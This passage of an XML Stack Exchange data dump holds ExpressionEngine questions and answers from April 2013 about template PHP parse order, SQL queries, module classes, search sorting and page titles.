stop_before=&quot;&amp;lt;?php echo $php_7_days_after; ?&amp;gt;&quot;}&#xA;&#xA;    {title} - {entry_date}&amp;lt;br /&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think I'm missing something simple, but I'm not seeing it. &lt;/p&gt;&#xA;" OwnerUserId="1325" LastActivityDate="2013-04-12T13:34:01.423" Title="Using a custom PHP variable in a channel entry start_on and stop_before" Tags="|variable|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9282" PostTypeId="2" ParentId="9281" CreationDate="2013-04-12T13:16:53.773" Score="2" Body="&lt;p&gt;Set PHP Parsing Stage to '&lt;em&gt;Input&lt;/em&gt;' in your template file.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-12T13:16:53.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9283" PostTypeId="2" ParentId="9279" CreationDate="2013-04-12T13:31:29.350" Score="0" Body="&lt;p&gt;You could do it that way by setting a custom field if you wanted. I've done a similar thing recently and used &lt;a href=&quot;http://devot-ee.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;GWcode Categories&lt;/a&gt; to simply call out that custom field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories channel=&quot;my_channel&quot; custom_fields=&quot;yes&quot; cat_url_title=&quot;{segment_2}&quot; style=&quot;linear&quot; limit=&quot;5&quot;}&#xA;    ...&#xA;    {my_custom_category_field}&#xA;    ...&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll have complete control with GWcode categories to organise your categories as you choose and easy access to custom fields. You can also run conditional checks on them if they contain a yes/no value for displaying in the dropdown menu.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-12T13:31:29.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9284" PostTypeId="2" ParentId="9281" CreationDate="2013-04-12T13:34:01.423" Score="2" Body="&lt;p&gt;Your issue here is one of parse order.  Changing to php on input won't help. Leave it on output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just tested this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;1&quot;}&#xA; &amp;lt;?php $php_7_days_before = date (&quot;Y-m-d H:i&quot;, floor('{entry_date}' - 604800)); ?&amp;gt;&#xA; {/exp:channel:entries}&#xA; {embed=&quot;site/php_test&quot; 7daysbefore=&quot;&amp;lt;?php echo $php_7_days_before; ?&amp;gt;&quot; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your embedded template you can call start_on=&quot;{embed:7daysbefore}&quot;&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-04-12T13:34:01.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9285" PostTypeId="2" ParentId="9279" CreationDate="2013-04-12T13:36:44.670" Score="2" Body="&lt;p&gt;You can use this simple query with Query module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT exp_categories.cat_id, exp_categories.cat_name, exp_categories.cat_url_title FROM exp_categories &#xA;LEFT JOIN exp_category_field_data ON exp_category_field_data.cat_id=exp_categories.cat_id &#xA;WHERE exp_categories.group_id=2 AND exp_category_field_data.field_id_1='Yes'&quot;}&#xA;&#xA;&amp;lt;p&amp;gt;{cat_name} :: {cat_url_title} &amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note the &quot;field_id_1&quot; within WHERE condition. You need to have id of field instead of '1' and field id can get from &quot;Custom Category Fields&quot; under &quot;ID&quot; column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-12T13:36:44.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9286" PostTypeId="1" AcceptedAnswerId="9288" CreationDate="2013-04-12T15:48:48.913" Score="1" ViewCount="126" Body="&lt;p&gt;So i'm looking at &#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/database.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/usage/database.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;SELECT channel_name FROM exp_channels&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;many times, but never within a class. and using $this-&gt; causes issues. I'm no expert but how do i overcome this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Name&#xA;{&#xA;    public $variable;&#xA;&#xA;    public function Something()&#xA;    {&#xA;         if($this-&amp;gt;variable == &quot;whatever&quot;)&#xA;           {&#xA;                //Run query to pull data based on $variable&#xA;                // This causes errors. I assume because $this is now something else.&#xA;                $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;SELECT * FROM tablename WHERE...&quot;);&#xA;           }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Message: Undefined property: Module::$EE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message: Trying to get property of non-object&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Call to a member function query() on a non-object&lt;/p&gt;&#xA;" OwnerUserId="1104" LastActivityDate="2013-04-12T15:56:19.883" Title="Running a query within a class method" Tags="|php|query|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9287" PostTypeId="1" AcceptedAnswerId="9289" CreationDate="2013-04-12T15:55:44.603" Score="2" ViewCount="78" Body="&lt;p&gt;I'd like to be able to display the number of &quot;active&quot; members on a site. Ideally this would be something like &quot;number of members who have logged in in the past 30 days&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Barring that, I'd settle for the total number of combined members in a set of member groups, like: group_1 + group_3 + group_5 = total number of members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think is the best way of going about this?&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-04-15T15:11:53.370" Title="Display Number of Active Members" Tags="|members|global-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9288" PostTypeId="2" ParentId="9286" CreationDate="2013-04-12T15:56:19.883" Score="2" Body="&lt;p&gt;You first need to initialize global object like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE =&amp;amp; get_instance();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-12T15:56:19.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9289" PostTypeId="2" ParentId="9287" CreationDate="2013-04-12T16:03:10.000" Score="4" Body="&lt;p&gt;So both of the above should done done relatively easy with the query tool...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The SQL you'll need is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT count(*) as active_members from exp_members WHERE FROM_UNIXTIME(last_visit) &amp;gt; DATE_SUB(NOW(), INTERVAL 30 DAY);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second one would just be :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT count(*) as active_members from exp_members where group_id=1 OR group_id=3 OR group_id=5;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll simply be able to get the value using {active_members} from within the Query module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="18" LastEditorUserId="18" LastEditDate="2013-04-15T15:11:53.370" LastActivityDate="2013-04-15T15:11:53.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9290" PostTypeId="2" ParentId="9275" CreationDate="2013-04-12T16:05:48.833" Score="1" Body="&lt;p&gt;Zenbu is really awesome in my experience. But maybe if you just need to see the most recently edited entries this would help: &lt;a href=&quot;http://devot-ee.com/add-ons/recent-entries&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/recent-entries&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-04-12T16:05:48.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9292" PostTypeId="2" ParentId="9210" CreationDate="2013-04-12T17:02:22.630" Score="1" Body="&lt;p&gt;I'm not sure about the first conditional.. but you could try this for the last line if you want to continue using the add-on. The original last line will fail because you've set it up to need to run cookie_plus both before and after the php increment.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Set PHP to input --}&#xA;&#xA;{if &quot;{exp:cookie_plus:get name=&quot;aa_seq&quot;}&quot; == &quot;&quot;}&#xA;    {exp:cookie_plus:set name=&quot;aa_seq&quot; value=&quot;1&quot; seconds=&quot;0&quot;}&#xA;    Setting&amp;lt;br&amp;gt;&#xA;{/if}&#xA;&#xA;&amp;lt;?php&#xA;if(isset($_COOKIE['aa_seq']))&#xA;{&#xA;    $aa_seq_value = $_COOKIE['aa_seq'] + 1; &#xA;} else {&#xA;    echo &quot;No cookie was found.&quot;&#xA;}&#xA;?&amp;gt;&#xA;&#xA;Cookie: {exp:cookie_plus:get name=&quot;aa_seq&quot;}&amp;lt;br&amp;gt;&#xA;{exp:cookie_plus:set name=&quot;aa_seq&quot; value=&quot;&amp;lt;?php echo $aa_seq_value; ?&amp;gt;&quot; seconds=&quot;0&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-04-12T17:02:22.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9293" PostTypeId="1" AcceptedAnswerId="9294" CreationDate="2013-04-12T17:29:13.350" Score="0" ViewCount="83" Body="&lt;p&gt;Thought someone might have a suggestion of an existing add-on or built in EE solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the client needs is a way to trigger a specific 'reminder' email sent out. The date, time, and email template, would be set in fields on the individual members entry (using members as entries).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, an entry called &quot;John&quot; could be updated by the client to trigger a reminder email to go out in 30 days, which would only go to him.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-04-12T17:43:51.570" Title="Suggestion for add-on for date-triggered emails?" Tags="|ee2|email|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9294" PostTypeId="2" ParentId="9293" CreationDate="2013-04-12T17:43:51.570" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://www.objectivehtml.com/postmaster&quot; rel=&quot;nofollow noreferrer&quot;&gt;Postmaster&lt;/a&gt; Add-Ons Email Solution will let you send emails exactly when you want.&lt;/p&gt;&#xA;" OwnerUserId="48" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-04-12T17:43:51.570" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9295" PostTypeId="2" ParentId="9250" CreationDate="2013-04-12T17:57:29.763" Score="0" Body="&lt;p&gt;I have this in my fresh EE 2.5.5 install&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fiedl:m_field_id_1 type:varchar(100) NULL:YES Default:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can probably safely adjust your columns&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-04-12T17:57:29.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9296" PostTypeId="2" ParentId="9261" CreationDate="2013-04-12T18:03:01.883" Score="1" Body="&lt;p&gt;Thanks to both Bhashkar and Ian. I ended up using the Entry Linking plugin and CE:String like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:entry_linking entry_id=&quot;{entry_id}&quot; link=&quot;prev&quot; channel=&quot;blog&quot; status=&quot;open&quot; mode=&quot;full&quot; parse=&quot;inward&quot;}&#xA;    &amp;lt;a href=&quot;/blog/{exp:ce_str:ing php}&amp;lt;?php echo date('Y/m', '{link_entry_date}'); ?&amp;gt;{/exp:ce_str:ing}/{link_url_title}&quot;&amp;gt;{link_title}&amp;lt;/a&amp;gt;&#xA;{/exp:entry_linking}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The one drawback to the Entry Linking plugin is that you can't pass formatting to the entry_date like: &lt;code&gt;{link_entry_date format=&quot;%Y/%m&quot;}&lt;/code&gt; but luckily I was able to use PHP to convert the date for my purpose.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2013-04-12T18:03:01.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9297" PostTypeId="1" AcceptedAnswerId="9309" CreationDate="2013-04-12T19:44:37.857" Score="1" ViewCount="381" Body="&lt;p&gt;I'd like to see what capabilities EE has for making a quiz with 10 questions, all of which have answers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not At All (0)&#xA;Not Really (1)&#xA;Undecided (2)&#xA;Somewhat (3)&#xA;Very Much (4)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the sum of points (in parenthesis) exceeds 20, I want to display some custom message. I'd use Javascript, except I want to also store the results. Any recommendations on the best approach to this? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2013-04-15T02:37:06.633" Title="Simple Quiz and Results in EE?" Tags="|ee2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9298" PostTypeId="1" AcceptedAnswerId="9300" CreationDate="2013-04-12T20:03:05.367" Score="0" ViewCount="393" Body="&lt;p&gt;I'm trying to add a different title to inside pages of a specific channel. I have the logic down (I think), but am not quite sure how to determine if I'm getting served a single entry page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;title&amp;gt;&#xA;{if embed:channel =='news'}&#xA;    {if [test for single page]}&#xA;        {embed:title}&#xA;    {if:else}&#xA;        News Index Page Title&#xA;    {/if}&#xA;{if:else}&#xA;    {embed:title}    &#xA;{/if}&#xA;&amp;lt;/title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="1284" LastActivityDate="2013-04-12T20:30:44.080" Title="Different title for single pages" Tags="|channel|entry|title|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9299" PostTypeId="2" ParentId="9157" CreationDate="2013-04-12T20:07:35.710" Score="1" Body="&lt;p&gt;I believe Ian's response is the closest to what you need. I'd modify the query to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql='SELECT DISTINCT title FROM exp_channel_titles WHERE channel_id='3' ORDER BY RAND() LIMIT 3'}&#xA;&#xA;        {title}&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not certain why the &lt;code&gt;channel:entries&lt;/code&gt; tag was introduced. It's not needed. Now there could be a debate about whether the items are truly random, since the DISTINCT statement is used. But they aren't forbidden from being used together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this should work. Make sure, the channel_id matches the id from testimonials.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-04-12T20:07:35.710" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9300" PostTypeId="2" ParentId="9298" CreationDate="2013-04-12T20:17:02.107" Score="2" Body="&lt;p&gt;Just always pass &lt;code&gt;title&lt;/code&gt; as an embed parameter in your template. So in &lt;strong&gt;news/index&lt;/strong&gt;, you'd pass &lt;code&gt;title=&quot;News&quot;&lt;/code&gt;, and in &lt;strong&gt;news/entry&lt;/strong&gt; you'd pass &lt;code&gt;title=&quot;{title}&quot;&lt;/code&gt;, or perhaps &lt;code&gt;title=&quot;{title} - News&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;title&amp;gt;{embed:title}&amp;lt;/title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In other words - perform the logic in your template, not in your embed.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-04-12T20:17:02.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9301" PostTypeId="1" CreationDate="2013-04-12T20:23:54.240" Score="1" ViewCount="146" Body="&lt;p&gt;I have this Simple Search Form in my site that looks like this (simplified for the problem's purpose):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form channel=&quot;news&quot; name=&quot;recherche&quot; no_result_page=&quot;s/e&quot; result_page=&quot;s&quot; results=&quot;32&quot; search_in=&quot;everywhere&quot; status=&quot;open&quot; where=&quot;any&quot;}&#xA;    &amp;lt;input type=&quot;search&quot; id=&quot;search&quot; name=&quot;keywords&quot; placeholder=&quot;Search&quot; autocomplete=&quot;on&quot; maxlength=&quot;35&quot; value=&quot;{exp:search:keywords}&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot;&amp;gt;&#xA;{/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I search for something that &lt;em&gt;I know doesn't exist&lt;/em&gt;, such as &quot;askjdakjsbfkub&quot;, I get redirected to the &quot;s/e&quot; template correctly, displaying an appropriate &quot;no results&quot; message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I enter a different term that &lt;em&gt;I know still doesn't exist&lt;/em&gt;, such as &quot;test&quot;, I get redirected to the ugly, god-forsaken default message (pardon my french, literally):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tPxua.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody explain that weird behavior? Better yet, anyone has a solution for this one?&lt;/p&gt;&#xA;" OwnerUserId="591" LastActivityDate="2013-10-22T06:11:59.190" Title="Search's no_result_page works only sometimes" Tags="|search|simple-search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9302" PostTypeId="2" ParentId="9298" CreationDate="2013-04-12T20:30:44.080" Score="0" Body="&lt;p&gt;If you're just looking for how to handle &lt;code&gt;title&lt;/code&gt; and &lt;code&gt;sections&lt;/code&gt; in the &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; tag, we use variations of this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;not forms&quot; limit=&quot;1&quot; show_future_entries=&quot;no&quot; disable=&quot;categories|member_data|custom_fields|pagination|trackbacks&quot;}&#xA;&#xA;    &amp;lt;title&amp;gt;&#xA;        {if segment_2==&quot;articles&quot; AND title != ''}MySite - {title}&#xA;        {if:elseif segment_2 ==&quot;&quot; AND segment_2 !=&quot;articles&quot; AND segment_1 != ''}MySite - {exp:phpstringfun function=&quot;ucwords&quot;}{exp:low_replace find=&quot;_&quot; replace=&quot;SPACE&quot;}{segment_1}{/exp:low_replace}{/exp:phpstringfun}&#xA;        {if:elseif segment_2 !=&quot;&quot; AND segment_1 != ''}MySite - {exp:phpstringfun function=&quot;ucwords&quot;}{exp:low_replace find=&quot;_&quot; replace=&quot;SPACE&quot;}{segment_1}{/exp:low_replace}{/exp:phpstringfun} :: {exp:phpstringfun function=&quot;ucwords&quot;}{exp:low_replace find=&quot;_&quot; replace=&quot;SPACE&quot;}{segment_2}{/exp:low_replace}{/exp:phpstringfun}&#xA;        {if:else}&#xA;            MySite - {tagline}&#xA;        {/if}&#xA;    &amp;lt;/title&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We set-up most sites, so that there is an &lt;code&gt;article&lt;/code&gt; page that triggers the single post view. We may call it something other than article, but that's the primary trigger. The secondary triggers are for &lt;code&gt;section&lt;/code&gt; pages, like News or About.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've included our strip and format plugin use. You can use whatever you want, but we use PHPStringFun and Low Replace. This code is just in the header file for the site, and handles everything regarding &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; with little problem. It's our starter. We occasionally add a few lines with other checks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also we deliberately use the &lt;code&gt;not&lt;/code&gt; in channel specification, so it processes everything, except a section never used on the front-end. We choose &lt;code&gt;forms&lt;/code&gt; since we store all forms in a single area, then embed them where needed.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-04-12T20:30:44.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9303" PostTypeId="1" CreationDate="2013-04-12T20:59:57.503" Score="0" ViewCount="326" Body="&lt;p&gt;I'm having a little bit of difficulty trying to sort a search result set returned by Low Search&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user has the option to enter keyword(s) as well as choose many search parameters, but result sorting options are not provided on search form page. On the results page there's a select list at the top to choose from various sorting options.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form form_id=&quot;searchResultsSort&quot; query=&quot;{segment_3}&quot; result_page=&quot;/the-register/new-results&quot;}&#xA;&#xA;  Sort by &amp;lt;select id=&quot;searchResultsSortSelect&quot; name=&quot;orderby_sort&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;Relevance&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;company_computed_rating|desc&quot;&amp;gt;Rating&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;company_date_registered|asc&quot;&amp;gt;Length of membership&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;company_membership_package|desc&quot;&amp;gt;Package level&amp;lt;/option&amp;gt;&#xA;  &amp;lt;/select&amp;gt;&#xA;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that the keyword(s) don't seem to be submitted since the result of this sorting is a longer result set and the Search Log shows no keywords.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2013-06-01T11:43:00.670" Title="Low Search: Sort existing results set" Tags="|low-search|sort|orderby|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9304" PostTypeId="2" ParentId="9303" CreationDate="2013-04-12T21:30:13.823" Score="2" Body="&lt;p&gt;After some experimentation I think I may have found the solution. I thought the Filters tag was just for reducing the result set, but it looks like it can be used for sorting/ordering as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:filters query=&quot;{segment_3}&quot;}&#xA;  &amp;lt;a href=&quot;{low_search:url toggle:orderby_sort=&quot;company_date_registered|asc&quot;}&quot;&amp;gt;Length of membership&amp;lt;/a&amp;gt;&#xA;{/exp:low_search:filters}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now to sort out the right JS to get this to work in a select list.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; JS sorted. Here's the final result in case useful to anyone else:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;searchResultsSort&quot; class=&quot;clearfix&quot;&amp;gt;&#xA;  {exp:low_search:filters query=&quot;{segment_3}&quot;}&#xA;&#xA;    Sort by &amp;lt;select id=&quot;searchResultsSortSelect&quot; name=&quot;orderby_sort&quot;&amp;gt;&#xA;      &amp;lt;option value=&quot;{low_search:url toggle:orderby_sort=&quot;search_count|desc&quot;}&quot;&amp;gt;Relevance&amp;lt;/option&amp;gt;&#xA;      &amp;lt;option value=&quot;{low_search:url toggle:orderby_sort=&quot;company_computed_rating|desc&quot;}&quot;&amp;gt;Rating&amp;lt;/option&amp;gt;&#xA;      &amp;lt;option value=&quot;{low_search:url toggle:orderby_sort=&quot;company_date_registered|asc&quot;}&quot;&amp;gt;Length of membership&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;&#xA;  {/exp:low_search:filters}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the JS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;#searchResultsSortSelect&quot;).change(function(){&#xA;  location.href=$(this).val();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="942" LastEditorUserId="942" LastEditDate="2013-04-12T22:12:58.080" LastActivityDate="2013-04-12T22:12:58.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9305" PostTypeId="1" AcceptedAnswerId="9400" CreationDate="2013-04-12T21:44:34.347" Score="0" ViewCount="102" Body="&lt;p&gt;I have a .sidebar template which is in a template shared by a few inner pages of the site. It pulls in the channel based on a preload tag on the page it is embedded in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a conditional set to display certain content based on what page it's on, however no content is being displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the full sidebar code I have right now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;aside&amp;gt;&#xA;&amp;lt;h2 class=&quot;sidebar-title&quot;&amp;gt;&amp;lt;a class=&quot;up&quot; href=&quot;#&quot;&amp;gt;About&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&amp;lt;div class=&quot;expand&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;{embed:chan}&quot; limit=&quot;1&quot; category=&quot;{embed:cat}&quot;}&#xA;    {if sidebar_title != &quot;&quot; AND sidebar_description != &quot;&quot;}&#xA;    &amp;lt;section class=&quot;sidebar-description&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;{sidebar_title}&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;p&amp;gt;{sidebar_description}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;    &amp;lt;hr /&amp;gt;&#xA;    {/if}&#xA;    {embed=&quot;_includes/.sidebar-posts&quot;}&#xA;    &amp;lt;hr /&amp;gt;&#xA;    &amp;lt;section&amp;gt;&#xA;        {if segment_1 == &quot;blog&quot;}&#xA;        &amp;lt;h2&amp;gt;Follow me&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;p&amp;gt;{follow_me_blurb}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Facebook&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            &amp;lt;li&amp;gt;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Instagram&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            &amp;lt;li&amp;gt;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Twitter&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            &amp;lt;li&amp;gt;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Pinterest&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;               &#xA;        {/if}&#xA;        {if segment_1 != &quot;blog&quot;}&#xA;            {if bring_content != &quot;&quot;}&#xA;            &amp;lt;h2&amp;gt;Bring&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;p&amp;gt;{bring_content}&amp;lt;/p&amp;gt;&#xA;            {/if}&#xA;            {if tip_content != &quot;&quot;}&#xA;            &amp;lt;h2&amp;gt;Tips&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;p&amp;gt;{tip_content}&amp;lt;/p&amp;gt;&#xA;            {/if}&#xA;        {/if}&#xA;    &amp;lt;/section&amp;gt;&#xA;    &amp;lt;section class=&quot;sidebar-links&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;#&quot; class=&quot;small&quot;&amp;gt;&amp;lt;strong&amp;gt;Blog&amp;lt;/strong&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;a href=&quot;#&quot; class=&quot;large&quot;&amp;gt;Shop &amp;amp;raquo;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;a href=&quot;#&quot; class=&quot;large&quot;&amp;gt;&amp;amp;laquo; Discover&amp;lt;/a&amp;gt;&#xA;        &amp;lt;a href=&quot;#&quot; 